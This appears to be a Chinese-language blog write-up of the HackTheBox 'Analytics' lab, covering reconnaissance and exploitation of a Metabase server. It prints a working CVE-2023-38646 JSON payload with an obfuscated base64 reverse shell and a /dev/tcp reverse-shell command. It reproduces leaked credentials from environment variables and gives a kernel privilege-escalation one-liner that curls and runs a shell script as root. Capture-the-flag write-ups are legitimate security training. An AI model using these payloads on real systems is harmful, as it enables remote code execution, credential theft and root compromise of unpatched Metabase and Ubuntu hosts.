[渗透测试学习] Analytics - HackTheBox

发布时间:2023年12月18日


信息搜集

nmap扫描一下端口

nmap -sV -sC -p- -v --min-rate 1000 10.10.11.233

在这里插入图片描述发现两个端口,22端口为ssh服务,80端口有http服务
尝试访问80端口,发现重定向到http://analytical.htb/并且无法访问
在这里插入图片描述编辑/etc/hosts添加该域名
成功访问
在这里插入图片描述大概翻了下应该是给客户提供服务的企业网站
尝试点击login发现不行,那么扫一下子域名

gobuster vhost -u http://analytical.htb/ -w /usr/share/wordlists/dirb/big.txt --append-domain

在这里插入图片描述扫出来后再添加域名到/etc/hosts上,访问
在这里插入图片描述得到信息为Metabase

Metabase是一个开源的数据分析和可视化工具。它旨在为非技术用户提供一种简单的方式来探索和分析数据,无需编写复杂的查询语句或使用复杂的分析工具。Metabase提供了一个直观的用户界面,允许用户通过简单的拖放和点击操作来创建和定制数据仪表板、报表和查询。可进行数据库连接

去网上搜索关键词Metabase 登录,找到相关漏洞CVE-2023-38646

漏洞利用

poc构造参考
对登陆页面抓包,访问路径为/api/session/properties
得到setup-token
在这里插入图片描述然后修改为POST请求,访问/api/setup/validate
token是刚刚得到的,然后记得修改Content-Type为json
exp如下

{
    "token": "249fa03d-fd94-4d5b-b94f-b4ebf3df681f",
    "details":
    {
        "is_on_demand": false,
        "is_full_sync": false,
        "is_sample": false,
        "cache_ttl": null,
        "refingerprint": false,
        "auto_run_queries": true,
        "schedules":
        {},
        "details":
        {
            "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zNC8xMDI4IDA+JjE=}|{base64,-d}|{bash,-i}')\n$$--=x",
            "advanced-options": false,
            "ssl": true
        },
        "name": "an-sec-research-team",
        "engine": "h2"
    }
}

不过不知道哪里出问题弹不成功,curl也不行

另一种方法使用工具直接反弹shell 工具链接

python3 single.py -u http://data.analytical.htb -c "bash -c 'bash -i >& /dev/tcp/10.10.14.34/1028 0>&1'"

成功反弹shell

在这里插入图片描述
我们查看下所有文件

ls / -al

发现有docker文件,猜测我们处于docker容器中
在这里插入图片描述
我们查看下环境变量,得到用户和密码

META_USER=metalytics
META_PASS=An4lytics_ds20223#

在这里插入图片描述
直接ssh连接,得到user的flag
在这里插入图片描述
这里就卡住了sudo -l也不行

内核提权

参考文章

看了下其他师傅的wp,用的是内核提权
相关漏洞是利用CVE-2023-2640 & CVE-2023-32629
我用的是curl本地反弹shell的sh文件,在本地开启服务

python3 -m http.server 80

然后开启监听,在刚刚连接的靶机处输入payload

unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("curl 10.10.14.34/shell.sh |bash")'

成功得到root权限,得到flag
在这里插入图片描述

文章来源:https://blog.csdn.net/m0_73512445/article/details/135067260
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。